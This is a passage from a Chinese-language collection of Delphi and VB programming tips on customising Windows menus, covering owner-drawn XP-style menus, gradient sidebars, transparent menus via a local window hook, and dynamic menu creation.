LR_DEFAULTCOLOR);

nLeft := (BMWidth - 16) div 2 + 1;

DrawIconEx(ACanvas.Handle, nLeft, Rc.Bottom - nLeft - 16,

Ico, 16, 16, 0, 0, DI_NORMAL);

DestroyIcon(Ico);

ACanvas.Brush.Color := clBtnFace;

end;

CopyRect(Rc, ARect);

Inc(Rc.Left, BMWidth + 2);

nTop := Grade + Ord(Selected);

//绘制背景图形

ABitmap.LoadFromResourceID(hInstance, nTop);

ACanvas.CopyRect(Rc, ABitmap.Canvas, Rect(0, 0, ABitmap.Width, ABitmap.Height));

if Item.IsLine then //绘制菜单分隔条

begin

nTop := (ARect.Bottom + ARect.Top) div 2 - 1;

ACanvas.Pen.Color := clBtnShadow;

ACanvas.MoveTo(BMWidth + 3, nTop);

ACanvas.LineTo(ARect.Right, nTop);

ACanvas.Pen.Color := clBtnHighlight;

ACanvas.MoveTo(BMWidth + 3, nTop + 1);

ACanvas.LineTo(ARect.Right, nTop + 1);

end else

begin

nTop := (Rc.Bottom + Rc.Top - imglstState.Height) div 2;

nLeft := Rc.Left + (Rc.Bottom - Rc.Top - imglstState.Width) div 2 + 2;

if Selected then //绘制被选择菜单的外观

begin

with Rc do

Right := Left + Bottom - Top;

DrawEdge(ACanvas.Handle, Rc, BDR_RAISEDINNER, BF_RECT);

Inc(Rc.Left, Rc.Bottom - Rc.Top + 1);

Rc.Right := ARect.Right;

DrawEdge(ACanvas.Handle, Rc, BDR_SUNKENOUTER, BF_RECT);

end;

//绘制菜单前面的小图形，一个TImageList

imglstState.Draw(ACanvas, nLeft - 1, nTop, Item.ImageIndex, Item.Enabled);

CopyRect(Rc, ARect);

InflateRect(Rc, -1, -1);

Inc(Rc.Left, BMWidth + ARect.Bottom - ARect.Top + 6);

ACanvas.Brush.Style := bsClear;

if not Item.Enabled then

begin

OffsetRect(Rc, 1, 1);

ACanvas.Font.Color := clBtnHighlight;

end else

with ACanvas.Font do

if Selected then Color := clRed else Color := clBtnText;

ACanvas.Brush.Style := bsClear;

if Item.Enabled or (not Selected) then

DrawText(ACanvas.Handle, PChar(Item.Caption), Length(Item.Caption), Rc,

DT_LEFT or DT_VCENTER or DT_SINGLELINE or DT_END_ELLIPSIS);

if not Item.Enabled then

begin

OffsetRect(Rc, -1, -1);

ACanvas.Font.Color := clBtnShadow;

DrawText(ACanvas.Handle, PChar(Item.Caption), Length(Item.Caption), Rc,

DT_LEFT or DT_VCENTER or DT_SINGLELINE or DT_END_ELLIPSIS);

end;

end;

finally

ABitmap.Free;

end;

end;

*******************************

收集的，也用过了，借花献佛：）

const

BarWidth = 23; // 类似于开始菜单的popmenu的宽度

BarSpace = 3;

type

TFormMain = class(TForm)

......

......

private

{ Private declarations }

function CreateRotatedFont(F: TFont; Angle: Integer): hFont;

procedure ExpandItemWidth(Sender: TObject; ACanvas: TCanvas; var Width, Height: Integer);

procedure AdvancedDrawItem(Sender: TObject; ACanvas: TCanvas; ARect: TRect; State: TOwnerDrawState);

public

{ Public declarations }

PopupImage: TBitmap; { icon in the bar }

PopupHeight: Integer; { holds the popumenu height }

PopupBitmap: TBitmap; { buffer for the bar }

Drawn: Boolean; { tells us if buffer has been drawn }

end;

//////////////////////////////////////////////////////////////////////////////////////////////

// 生成类似于开始菜单的popmenu

procedure TFormmain.ExpandItemWidth(Sender: TObject; ACanvas: TCanvas; var Width, Height: Integer);

begin

Inc(Width, BarWidth); // make space for graphical bar

// way to calculate total height of menu to PopupHeight variable which was reset at OnPopup event

if TMenuItem(Sender).Visible then PopupHeight := PopupHeight + Height;

end;

procedure TFormmain.AdvancedDrawItem(Sender: TObject; ACanvas: TCanvas; ARect: TRect; State: TOwnerDrawState);

const

VerticalText = '静态页面生成系统';

clStart: TColor = clBlue;

clEnd: TColor = clBlack;

var

i, iTmp: Integer;

r: TRect;

rc1, rc2, gc1, gc2, bc1, bc2: Byte;

ColorStart, ColorEnd: Longint;

MenuItem: TMenuItem;

begin

MenuItem := TMenuItem(Sender);

{ we need to remove draw event so DrawMenuItem won't generate infinite loop! (Recursive) }

MenuItem.OnAdvancedDrawItem := nil;

{ align rect where item is draw so that vcl will leave bar for us }

r := ARect;

Dec(r.Right, BarWidth); // remove bar width

OffsetRect(r, BarWidth, 2);

DrawMenuItem(MenuItem, ACanvas, r, State); // draw item and restore event back

MenuItem.OnAdvancedDrawItem := AdvancedDrawItem;

PopupBitmap.Height := PopupHeight;

PopupBitmap.Width := BarWidth - BarSpace;

with PopupBitmap.Canvas do

if not Drawn then

begin // ... first draw phase ... }

Brush.Style := bsSolid;

if (clStart = clEnd) then // same color, just one fillrect required

begin

Brush.Color := clStart;

FillRect(Rect(0, ARect.Top, BarWidth - BarSpace, ARect.Bottom));

end

else //draw smooth gradient bar part for this item

begin

// this way we can use windows color constants e.g. clBtnFace. Those constant don't keep the RGB values

ColorStart := ColorToRGB(clStart);

ColorEnd := ColorToRGB(clEnd);

// get the color components here so they are faster to access inside the loop

rc1 := GetRValue(ColorStart);

gc1 := GetGValue(ColorStart);

bc1 := GetBValue(ColorStart);

rc2 := GetRValue(ColorEnd);

gc2 := GetGValue(ColorEnd);

bc2 := GetBValue(ColorEnd);

// make sure that division by zero doesn't happen

if PopupHeight <> 0 then

for i := 0 to (ARect.Bottom - ARect.Top) do

begin

Brush.Color := RGB(

(rc1 + (((rc2 - rc1) * (ARect.Top + i)) div PopupHeight)),

(gc1 + (((gc2 - gc1) * (ARect.Top + i)) div PopupHeight)),

(bc1 + (((bc2 - bc1) * (ARect.Top + i)) div PopupHeight)));

FillRect(Rect(0, ARect.Top + i, BarWidth - BarSpace, ARect.Top + i + 1));

end;

end;

with Font do

begin

Name := 'Tahoma';

Size := 9;

Color := clWhite;

Style := [fsBold];

iTmp := Handle; { store old }

Handle := CreateRotatedFont(Font, 90);

end;

Brush.Style := bsClear;

r := Rect(ARect.Left, ARect.Top, ARect.Right, ARect.Bottom + 1);

ExtTextOut(Handle, 1, PopupHeight - PopupImage.Height - 15, ETO_CLIPPED, @r, PChar(VerticalText), Length(VerticalText), nil);

DeleteObject(Font.Handle); // delete created font and restore old handle

Font.Handle := iTmp;

if PopupHeight = ARect.Bottom then

begin // draw bitmap

Drawn := True;

Draw(0, PopupHeight - PopupImage.Height - 6, PopupImage);

end;

{ draw the double buffered bar now }

r := Rect(0, 0, PopupBitmap.Width, ARect.Bottom);

ACanvas.CopyRect(r, PopupBitmap.Canvas, r);

end

else // draw from double buffer

begin

r := Rect(0, ARect.Top, PopupBitmap.Width, ARect.Bottom);

ACanvas.CopyRect(r, PopupBitmap.Canvas, r);

end;

{ end with }

end;

function TFormmain.CreateRotatedFont(F: TFont; Angle: Integer): hFont;

var LF : TLogFont;

begin

FillChar(LF, SizeOf(LF), #0);

with LF do

begin

lfHeight := F.Height;

lfWidth := 0;

lfEscapement := Angle*10;

lfOrientation := 0;

if fsBold in F.Style then lfWeight := FW_BOLD

else lfWeight := FW_NORMAL;

lfItalic := Byte(fsItalic in F.Style);

lfUnderline := Byte(fsUnderline in F.Style);

lfStrikeOut := Byte(fsStrikeOut in F.Style);

lfCharSet := DEFAULT_CHARSET;

StrPCopy(lfFaceName, F.Name);

lfQuality := DEFAULT_QUALITY;

lfOutPrecision := OUT_DEFAULT_PRECIS;

lfClipPrecision := CLIP_DEFAULT_PRECIS;

case F.Pitch of

fpVariable: lfPitchAndFamily := VARIABLE_PITCH;

fpFixed: lfPitchAndFamily := FIXED_PITCH;

else

lfPitchAndFamily := DEFAULT_PITCH;

end;

end;

Result := CreateFontIndirect(LF);

end;

// popmenu弹出事件 //

procedure TFormMain.PopupMenuIconPopup(Sender: TObject);

var i:integer;

begin

Drawn := False;

PopupHeight := 0;

with TPopupMenu(Sender) do

if (Items.Count > 0) then

for i := 0 to Items.Count-1 do

begin

Items[i].OnMeasureItem := ExpandItemWidth;

Items[i].OnAdvancedDrawItem := AdvancedDrawItem;

end;

end;

// end of menu create like start

////////////////////////////////////////////////////////////////////////////////////////////


一个非常好的菜单控件

声明：

这个控件原来的代码部分版权属于原作者，请看清楚相应的版权声明。本人保留修改过的代码的版权，本人遵守和原控件一样的版权法则：免费软件，开放源代码，你可以免费使用它，但是你如果修改它，那么应该把修改过的代码寄一份给原作者和本人。有任何问题（关于修改过的代码部分或者整个控件，可以写信给我，有什么好的建议，烦请赐教，不过对于原来的代码部分，最好写信给原作者）

附件的说明：

xpmenu1504是没有修改过的原来的控件源代码，xpBarMenu是我修改过的控件的源代码。DelphiXPBarMenu是用来改变Delphi的IDE本身的菜单的，你把这个文件当作一般的控件安装即可，这样你的Delphi本身也有XP风格的菜单了。：），see.jpg是效果截图，MainForm.pas,xpBarMenuDemo.dpr,MainForm.dfm是控件演示程序源代码。XPBarMenu.dcr和Bmp文件，是用来描述控件的图标，用在Delphi的控件面板中。

XPMenu控件使用技巧：

你可以配合事件进行更多的精确的控制，例如，对于某一个菜单条目，如果没有菜单位图，你也许不希望有很宽的空隙，那么可以在OnMeasureItem事件中，把控件的IconWidth设置为0即可！

只有你想不到的，没有你做不到的，你可以用这个控件作出任意的菜单来。

你可以设置文字Bar的渐变起始和终止颜色！可以使用位图Bar！可以使用3D风格，自定义Bar的宽度，自定义Bar的文字信息和字体等等，自定义菜单的菜单项的高度，而且所作的修改会影响整个窗体上面的全部菜单项.........，更多的东西等待你自己去摸说，祝愿大家能够用这个控件创建超酷菜单来！

小技巧：

1.你可以先在窗体上面放置XP Bar Menu控件，然后放置菜单控件，这样你在窗体的设计阶段就可以看到效果~~~~~~，所见即所得。

2.XP Bar Menu控件左边的Bar显示的文字信息默认是当前窗体的Caption，你可以设置BarCaption属性为空，这样只要你修改窗体的Caption就可以自动修改Bar上面的文字了。当然你也可以修改成其他文字。

3.你可以在回调函数中控制是否显示Bar，IconWidth等等，这样对于那些没有图片的菜单可以去掉左边多余的空间，美化显示。

4.鼠标移动到菜单条时，没有动态效果，你可以用一个Toolbar来模拟~~~~，这样就有动态效果。

5.在Win9x下面，你可以调整BarColorStep属性，用来提高速度~~~~

6.你可以仅仅是在窗体上面放置XP Bar Menu控件，不用做任何设置，就可以美化你的菜单！

7.你可以自定义Bar文字的颜色，字体等等，也可以设定渐变的起止颜色。

8.你可以设置菜单的ImageList和MenuItem的Bitmap属性，不过同时设置的话，只有ImageList中的起作用。建议不要同时使用ImageList和Bitmap属性，否则有计算误差~~~，虽然我已经尽力减少它了，但是还是不可避免，也许应该修正算法~~，但是我懒得去做了。：（

9.你可以在左边的Bar中使用位图，这样速度更快！！！推荐使用！

10.你没有必要指定灰化位图，因为控件会自动为图片生成灰化图片。

11.在Win9x下面，你应该禁止使用FlatMenu属性。

12.控件也会修改Toolbar上面的按钮的显示~~~~~~：）

13.尽量不要使用FlatMenu属性，这个功能导致内存泄漏。：（---（已经修正这个BUG，可以放心使用）

14.你甚至可以修改Delphi IDE的菜单~~~~~，例如我的机器上就是~~~~~：）

15.绿色控件，如果你的程序需要在其他的没有安装这个控件的机器上面打开，那么没有关系，在打开工程文件的时候选择忽略即可，不影响你的原来的程序的正常打开，只不过没有美观的菜单而已。

16.你可以OwnerDraw原来的菜单项，当然你也可以使用控件提供的事件，这样你就不需要每一个菜单项都去设置他们的OwnerDraw事件了。

附件>>>>> XPBar.rar


Xp Menu菜单核心代码

//此过程为菜单项的高级自画列表事件代码

procedure TForm1.menuFileNewAdvancedDrawItem(Sender: TObject; ACanvas: TCanvas; ARect: TRect; State: TOwnerDrawState);

var

MenuHeight,BmpPos:Integer;//菜单项的高度；菜单中所画图标的边距

TempMenuItem:TMenuItem; //调用此过程的菜单项

DrawIco:TIcon; //图标对象，用以画出菜单项的图标

TempRect:TRect; //临时的矩形区域，程序中多次使用

ShowCaption:String; //菜单项的标题

ImageList:TCustomImageList; //菜单项所使用的图标列表控件

begin

TempMenuItem:=(Sender as TMenuItem);//获取调用此过程的菜单项

ShowCaption:=TempMenuItem.Caption; //获取菜单标题

DrawIco:=TIcon.Create; //创建图标对象

with ACanvas,ARect do

begin

MenuHeight:=25; //此数值与在 OnMeasureItem 事件中设置的Height属性值相同

BmpPos:=(MenuHeight-16) div 2;{

计算所画的图标边距，所显示的图标尺寸一般为16，所以此处取值也为16，

可根据实际更改此数值。}

Brush.Color :=RGB(255,251,247);//设置菜单的背景色，此处设为奶白色，可根据需要更改

FillRect(Arect); //填充背景

Brush.Color:=RGB(223,215,207);//设置菜单项图标区域的背景色，可根据需要更改

TempRect:=Rect(Left,Top,MenuHeight,Bottom);//设置图标背景的矩形区域

FillRect(TempRect);//填充图标背景

if TempMenuItem.Caption='-' then

begin

Pen.Color:=RGB(175,183,207);

MoveTo(Left+MenuHeight+5,Top+((Bottom-Top) div 2)-1);

LineTo(Right,Top+((Bottom-Top) div 2)-1);

Pen.Color:=clWhite;//RGB(175,183,207);

MoveTo(Left+MenuHeight+5,Top+((Bottom-Top) div 2));

LineTo(Right,Top+((Bottom-Top) div 2));

Exit;

end;{以上程序判断该菜单项是否为分隔线，

如果是，则画出分隔线样式后退出此过程。可根据需要更改其效果}

ImageList:=TempMenuItem.GetImageList;//获取所使用的图标列表控件

if ImageList<>nil then //如果主菜单关联了图标列表控件

if (TempMenuItem.Imageindex<>-1) then //如果该菜单项指定了图标

begin

ImageList.GetIcon(TempMenuItem.ImageIndex,DrawIco);//从图标列表控件中获取图标

if TempMenuItem.Checked then //如果该菜单项有复选标记则画出一个蓝色框

begin

brush.Color:=RGB(175,183,207);

Pen.Color :=clBlack;

RoundRect(Left+1,Top+2,MenuHeight-2,Bottom-2,0,0);

end;

end

else //如果该菜单项没有指定图标

if TempMenuItem.Checked then Imagelist.GetIcon(11,DrawIco);

{如果菜单项有复选标记，则从图标列表控件中获取一个表示复选的图标

数字11是该图标的索引号，可根据实际更改；如没有该图标，可将这两句删除}

if (odSelected in State) {and (Not (odDisabled in State))} then

{如果该菜单项处于被选择状态，则画出以下选择样式

注释的一句加上的话表示如果菜单项处于无效状态则光标指向时无任何效果}

begin //以下程序画出一个蓝色框以表示该菜单项处于被选择状态

Inc(Left,2);Inc(Top,2);

Brush.Style:=bsSolid;

brush.Color:=clGray;//RGB(110,120,180);

Pen.Color:=clMenu;

RoundRect(Left,Top,Right,Bottom,5,5);

{以上四句画出蓝色框的阴影}

brush.Color:=RGB(175,183,207);

Dec(Left,2);Dec(Top,2);

Dec(Right,2);Dec(Bottom,2);

Pen.Color :=clBlack;

RoundRect(Left,Top,Right,Bottom,3,3);

{以上四句画出蓝色框}

Draw(BmpPos,Top+BmpPos,DrawIco);

//画出图标阴影（我不知道怎样把图标颜色变成灰度，只好原样画上）

Dec(BmpPos,1);

end;

Draw (BmpPos,Top+BmpPos,DrawIco);//画出图标

DrawIco.Free; //图标已画出，可以释放图标对象

TempRect:=Rect(Left+MenuHeight+10,Top,Right,Bottom);//设置菜单标题的矩形区域

Brush.Style:=bsClear;//设置画刷的填充样式为透明，这样画出的菜单标题就为透明底色

with Font do //根据菜单项的状态设置字体样式

begin

if (odDisabled in State) then Color :=clgray else Color :=clblack;

{设置菜单项在有效或无效状态时的字体颜色，具体的颜色可根据实际更改}

if TempMenuItem.Default then Style:= Style+[fsBold];

{如果菜单项为默认，则设置字体为粗体}

end;

DrawText(Handle,PChar(ShowCaption),-1,TempRect,DT_LEFT or DT_SINGLELINE or DT_VCENTER);

{最后画出菜单项的标题}

end;

end;

//此过程为菜单项的尺寸设置列表事件

procedure TForm1.menuFileNewMeasureItem(Sender: TObject; ACanvas: TCanvas;

var Width, Height: Integer);

begin

if TMenuItem(Sender).Caption<>'-' then Height:=25;

//如果菜单项不是分隔线则设置其高度，可根据需要更改，更改后注意将高级自画事件中的 MenuHeight 变量设置为相同数值

end;

//此过程为主菜单项的高级自画事件，主要是画出一个带阴影的矩形框

procedure TForm1.menuFileAdvancedDrawItem(Sender: TObject; ACanvas: TCanvas;

ARect: TRect; State: TOwnerDrawState);

var

TempMenuItem:TMenuItem;

TempRect:TRect;

ShowCaption:String;

begin

TempMenuItem:=(Sender as TMenuItem);

ShowCaption:=TempMenuItem.Caption;

with acanvas,arect do

begin

FillRect(ARect);

Inc(Left,1);

if (odSelected in State) then //如果该菜单项处于被选择状态

begin

Brush.Color:=RGB(189,190,189);

TempRect:=Rect(Left,Top+3,Right,Bottom);

FillRect(TempRect);

Brush.Color:=RGB(181,182,181);

TempRect:=Rect(Left,Top+2,Right-1,Bottom);

FillRect(TempRect);

Brush.Color:=RGB(165,162,165);

TempRect:=Rect(Left,Top+1,Right-2,Bottom);

FillRect(TempRect);

//以上三段分别画出阴影

Inc(Bottom,5);

Pen.Color:=RGB(99,97,99);

Brush.Color:=clMenu;

RoundRect(Left,Top,Right-3,Bottom,5,5);

Dec(Bottom,5);

TempRect:=Rect(Left,Bottom,Right,Bottom+5);

FillRect(TempRect);

//画出边框颜色为灰色的矩形框

end;

DrawText(Handle,pchar(ShowCaption),-1,ARect,DT_CENTER or DT_SINGLELINE or DT_VCENTER);

//最后画出菜单标题

end;

end;


MDI窗体的Windows菜单

我们知道，许多MDI窗体的Windows窗体下面 都有一个显示当前窗口的菜单项目，那么该怎么做呢？

你可以在主窗口的主菜单上加一个“窗口”菜单项，再为它加入几个常用窗口操作命令子菜单。将主窗口的WindowMenu设置为“窗口”菜单项。当你打开一个MDI子窗口时，“窗口”菜单项下面会多一个以子窗口标题命名的子菜单，并且当前窗口对应的菜单前有一个标记。选择菜单可以将对应的窗口调到最前面来。很方便吧？不过一定要注意“窗口”菜单项在设计时至少要有一个子菜单项，否则就不能正常工作。而且不能在里面添加分隔条，否则不会窗口列表！


如何设计真正的全XP的菜单

我们在使用XP Menu控件的时候，如果用鼠标移动到菜单上面，这个时候是没有XP效果的，必须用鼠标点击一下，才会有效果！而且有的Toolbutton的DropDown的Menu也没有效果！那么如何做到完美的效果呢？下面是Kingron的经验：

放置好MainMenu，然后在窗体上面放置一个CoolBar，在CoolBar里面放置一个TToolBar，然后在ToolBar里面建立若干个ToolButton，分别对应主菜单的一些菜单项目，设置这些按钮的Group为True，ToolBar的ShowCaption为True，Flat为True。OK运行一下看看效果？

不过上面的方法只能在FormStyle为fsNormal的情况下使用，不能用于MDI。


规范设计Windows应用软件菜单

规范设计Windows应用软件菜单

整理编辑：China ASP

  在开发软件的菜单界面时，能按Windows所设定的规范进行,不仅能使所开发出的应用软件的菜单界面更美观丰富,而且能与Windows中各软件协调一致,使大量熟悉Windows操作的用户,一看菜单,就能根据平时的使用经验,触类旁通地知晓该应用软件的各功能和简捷的操作方法，增强软件的灵活性和可操作性。

    以下以VB5.0的工具菜单栏（Tools）中的“菜单编辑器”和一个“学生档案管理软件”（主要有“文件”、“系统初始化” 、“年级”、“输入与查询”等菜单，分别完成报表打印、新建年级库、选年级、以及数据库数据的输入与查询等）为例,说明Windows应用软件菜单设计的一些规则:

一、暂时不可操作的菜单命令项一般要屏蔽变灰

    Windows菜单中有一些菜单项是以变灰的形式出现的,并用虚线字符来显示,这一类的命令表示当前不可用,也就是说,执行此命令的条件当前还不具备。例如，在学生档案管理软件中，初始的“输入与查询”菜单为灰，因为在没有选中“年级”的情况下，系统将不知要查询哪个年级的学生资料。在图1中设计时，点击“输入与查询”菜单条的“有效（E）”属性，改变其默认的“有效”为“无效”，然后设计在“年级”菜单中各年级的Click事件中传递所选中的年级信息给“输入与查询”模块后改变后者的“有效”属性值,让其可操作：

    Private Sub mnu98dz_Click()

     Transfer = "c:98dz.mdb"

   mnuFind.Enabled = True

    End Sub

二、正在起作用的菜单命令旁打上选中标记（√）

    Windows中有一些命令是触发式的，打勾号表明该命令正在起作用，否则表明不起作用，可通过点击，反复切换。例如，在上述所举的学生档案管理软件中，当选择了某一年级时，系统就在对应年级菜单前打上“√”，表明正在操作的是此年级的数据库。要做到这一点，只要把菜单编辑器中相应菜单条的“复选(C)"框选中即可，然后在菜单的驱动事件加入如下语句来切换该属性：mnu98dz.Checked=not mnu98dz.Checked

三、为命令选项设置访问键(Access key)

    菜单项中带有下划线的字母，称为该命令的访问键，是为了方便使用键盘的用户而设置的，按Alt键和该字母时即可打开该菜单，增加访问键只要在菜单编辑器的“标题(P)”框中，在要让其成为访问键的字母前加“＆”即可，当然，访问键最好不要重复，否则系统只认定第一个有效。

四、为命令选项增加快捷键（Shortcut Key）

    某些菜单命令的右边有一组合键，称为该命令的快捷键，可以不打开菜单而直接按快捷键来选择执行此命令。为一个命令项增加一个快捷键，可在菜单编辑器中的“快捷键（S）”列表框中为该命令项分配一个，列表中一个快捷键只能被分配一次，否则系统会拒绝接受。

五、在要弹出对话框的命令选项后增加省略号（...）提示用户

    Windows中，如果命令项后面有省略号（...），表明选择此命令将引出一个对话框，从对话框系统要求用户提供更多执行该命令所需的信息，在设计时只要在会引出对话框的菜单项的标题后增加“(...)"提示即可。

六、用右指向的箭头（→），来指引用户选择此项将引出级联菜单(Cascading Menu)

    级联菜单即所谓的子菜单，在VB中箭头由系统根据菜单编辑器中设计菜单大纲时所安排的“缩进”度而自动实现的，因此，关键是在设计菜单时合理安排大纲中各菜单项上下级的逻辑关系，在VB中最多可以有四级子菜单。

七、对相关的命令用分隔条（Separate Bar）进行分组

    为了让用户迅速地在菜单中找到他要执行的命令项，有必要对菜单中相关的一组命令用分隔条进行分组，如文件菜单中，把有关打印输出的一组命令：“页面设置”、“打印预览”、“打印”等用分隔条醒目地进行分隔。这只要在需要进行分组的命令之间插入一个特殊的命令条，该命令条的“标题”为“－”，而“名称”任意，因为在程序中一般不会引用此命令的名称。

八、建立动态菜单，提高软件的灵活性

    动态菜单即运行时会伸缩的菜单，Windows中有许多软件的“文件”菜单中都具有记忆最近操作过的几个文档名的功能，在本文所举例的学生档案管理软件中，因为每年都会有新的学生到校，在形成新的年级时，要在“年级”菜单中动态地增加新的年级名称以供选择和查询，这首先要在设计时生成菜单命令的控件数组(Menu Control Array)，在菜单的编辑器中加入一个菜单选项，设其Index属性设置为0，然后可以加入名称相同(在本例中名称为MnuNj)，Index值相邻递增的菜单选项(比如加入10个），设计时让它们标题框均为空，留作日后引用填入新年级名，并设这些备用菜单条的“可见”属性为无效，即目前不可见。在有建立和删年级库功能的“系统初始化”菜单驱动事件中引用这个数组名和索引值在“输入与查询”中动态地加进新的年级名选项，并让其可见或不可见（在删除时）:

    Private AddMenu_Click()

     Counter=counter＋1

     Nj=Nj＋1 'Nj是一个模块级变量,初值为1998

     MnuNj(counter).Caption= Nj ＆ "年级"

     MnuNj(counter).Visible=Ture

    End Sub

    Windows中许多应用程序的“文件"菜单记住最近使使过的文件名的实际方法与此类似。

九、生成弹出式菜单，增强软件的可操作性

    有时为了方便用户需要，为一些最常用的命令建立右键弹出式快捷菜单，这种菜单的前期设计和普通菜单一样，不同的是一般要先点击“可见(P)”框，让此菜单不可见，然后在窗体的MouseDown或MouseUp事件中引用PopupMenu方法来实现在窗体上按下鼠标右键时弹出此菜单：

    Private Sub MdiForm1_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)

     If button=2 the 'MnuEdit为制作的要弹出的菜单

Popupmenu MnuEdit

    End Sub

    PopupMenu方法将忽略初始设置的“不可见”属性。

    使用Windows下的其他软件开发工具设计菜单时,情形与之类似。


Win2000/XP透明菜单

var

hHookID: HHOOK;

// function to make the menu transparent

function MakeWndTrans(Wnd: HWND; nAlpha: Integer = 10): Boolean;

type

TSetLayeredWindowAttributes = function(hwnd: HWND; crKey: COLORREF; bAlpha: Byte;

dwFlags: Longint): Longint; stdcall;

const

// Use crKey as the transparency color.

LWA_COLORKEY = 1;

// Use bAlpha to determine the opacity of the layered window..

LWA_ALPHA = 2;

WS_EX_LAYERED = $80000;

var

hUser32: HMODULE;

SetLayeredWindowAttributes: TSetLayeredWindowAttributes;

i : Integer;

begin

Result := False;

// Here we import the function from USER32.DLL

hUser32 := GetModuleHandle('USER32.DLL');

if hUser32 <> 0 then

begin

@SetLayeredWindowAttributes := GetProcAddress(hUser32,'SetLayeredWindowAttributes');

// If the import did not succeed, make sure your app can handle it!

if @SetLayeredWindowAttributes <> nil then

begin

// Check the current state of the dialog, and then add the WS_EX_LAYERED attribute

SetWindowLong(Wnd, GWL_EXSTYLE, GetWindowLong(Wnd, GWL_EXSTYLE) or WS_EX_LAYERED);

// The SetLayeredWindowAttributes function sets the opacity and

// transparency color key of a layered window

SetLayeredWindowAttributes(Wnd, 0, Trunc((255 / 100) * (100 - nAlpha)), LWA_ALPHA);

Result := True;

end;

end;

end;

// hook procedure

function HookCallWndProc(nCode: Integer; wParam, lParam: Longint): Longint; stdcall;

const

MENU_CLASS = '#32768';

N_ALPHA = 60;

var

cwps: TCWPStruct;

lRet: THandle;

szClass: array[0..8] of char;

begin

if (nCode = HC_ACTION) then

begin

CopyMemory(@cwps, Pointer(lParam), SizeOf(CWPSTRUCT));

case cwps.message of

WM_CREATE:

begin

GetClassName(cwps.hwnd, szClass, Length(szClass)-1);

// Window name for menu is #32768

if (lstrcmpi(szClass, MENU_CLASS) = 0) then

begin

MakeWndTrans(cwps.hwnd, N_ALPHA {Alphablending});

end;

end;

end;

end;

// Call the next hook in the chain

Result := CallNextHookEx(WH_CALLWNDPROC, nCode, wParam, lParam);

end;

// Install the hook in the OnCreate Handler

procedure TForm1.FormCreate(Sender: TObject);

var

tpid: DWORD;

begin

// Retrieve the identifier of the thread that created the specified window

tpid := GetWindowThreadProcessId(Handle, nil);

// The SetWindowsHookEx function installs an application-defined

// hook procedure into a hook chain

hHookID := SetWindowsHookEx(WH_CALLWNDPROC, HookCallWndProc, 0, tpid);

end;

// Stop the hook in the OnDestroy Handler

procedure TForm1.FormDestroy(Sender: TObject);

begin

if (hHookID <> 0) then

// Removes the hook procedure

UnhookWindowsHookEx(hHookID);

end;


菜单对齐方式

procedure SetJustify(Menu: TMainMenu; MenuItem: TMenuItem; Justify: Boolean);

{$IFDEF WIN32}

var

ItemInfo : TMenuItemInfo;

Buffer : array[0..80] of Char;

{$ENDIF}

begin

{$IFDEF VER80}

MenuItem.Caption := Chr(8) + MenuItem.Caption;

{$ELSE}

ItemInfo.cbSize := SizeOf(TMenuItemInfo);

ItemInfo.fMask := MIIM_TYPE;

ItemInfo.dwTypeData := Buffer;

ItemInfo.cch := SizeOf(Buffer);

GetMenuItemInfo(Menu.Handle, MenuItem.Command, False, ItemInfo);

if Justify then

begin

ItemInfo.fType := ItemInfo.fType or MFT_RIGHTJUSTIFY;

SetMenuItemInfo(Menu.Handle, MenuItem.Command, False, ItemInfo);

end;

{$ENDIF}

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

SetJustify(MainMenu1, File1, True);

end;


怎样得知POPUPMENU正在打开着？

即：如何得知某个POPUPMENU当前正显示在屏幕上？

WM_ENTERMENULOOP//menu进入showmodal循环

WM_EXITMENULOOP//离开循环

WM_INITMENU//初始化menu

WM_INITMENUPOPUP//初始化popmenu

你的程序响应这几个消息，after menu init 记数，exitmenuloop 清零，

timer检查记数，>n，destroy menu.

实际上 PostMessage(Handle,WM_LBUTTONDOWN,0,0); 就可让菜单消失。

但我更想知道POPUPMENU当前的状态。

解决了。

aBool:=True;

TrackPopupMenu(PopupMenu1.Handle, ...);

aBool:=False;

在其它事件里：

if aBool then PostMessage(Handle,WM_LBUTTONDOWN,0,0);

这个问题竟然如此简单。没想到。


快速动态创建MenuItem

快速动态创建MenuItem

在设计程序时,有时我们需要动态地创建菜单, 通常我们使用以下的语句

PopupMenu1 := TPopupMenu.Create(Self);

Item := TMenuItem.Create(PopupMenu1);

Item.Caption := 'First Menu';

Item.OnClick := MenuItem1Click;

PopupMenu1.Items.Add(Item);

Item := TMenuItem.Create(PopupMenu1);

Item.Caption := 'Second Menu';

Item.OnClick := MenuItem2Click;

PopupMenu1.Items.Add(Item);

Item := TMenuItem.Create(PopupMenu1);

Item.Caption := 'Third Menu';

Item.OnClick := MenuItem3Click;

PopupMenu1.Items.Add(Item);

Item := TMenuItem.Create(PopupMenu1);

Item.Caption := '-';

PopupMenu1.Items.Add(Item);

Item := TMenuItem.Create(PopupMenu1);

Item.Caption := 'Fourth Menu';

Item.OnClick := MenuItem4Click;

PopupMenu1.Items.Add(Item);

其实我们可以使用一种更快的方法达到同样的功能, 但使用很少的代码, 那就是用NewLine和NewItem, 看看下面的例子, 是不是很简单?

PopupMenu1 := TPopupMenu.Create(Self);

with PopUpMenu1.Items do

begin

Add(NewItem('First Menu',0,False,True,MenuItem1Click,0,'MenuItem1'));

Add(NewItem('Second Menu',0,False,True,MenuItem2Click,0,'MenuItem2'));

Add(NewItem('Third Menu',0,False,True,MenuItem3Click,0,'MenuItem3'));

Add(NewLine); // 增加一个分割棒

Add(NewItem('Fourth Menu',0,False,True,MenuItem4Click,0,'MenuItem4'));


禁止一个菜单而不变灰

procedure TForm1.Button1Click(Sender: TObject);

var

M: TMenu;

begin

M := Application.MainForm.Menu;

// Den ersten Menueintrag deaktivieren

// The first Item will be disabled

EnableMenuItem(M.Handle, M.Items[0].Command, MF_BYCOMMAND or MF_DISABLED);

end;


在任意地方弹出主菜单的菜单项

我有一个PopMenu和主菜单一抹一样，我不想使用ActionList，那么怎么能够做到最简单呢？

Kingron:

请参看如下代码：

procedure PopMainMenuItem(hWnd:HWND;Menu:TMenuItem);

var

R:TRect;

begin

R:=Screen.DesktopRect;

TrackPopupMenu(Menu.Handle,TPM_LEFTALIGN ,Mouse.CursorPos.X,Mouse.CursorPos.Y,0,hWnd,@R);

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

PopMainMenuItem(Handle,MainMenu1.Items[0]);

end;


请问如何得到当前系统菜单的宽度？？？

回复人： zswang(伴水)(网络无限自由) ( ) 信誉：139 2002-7-11 9:54:52 得分:90

//呵呵～～～错！下面代码测试通过，具体的含义你自己看看吧

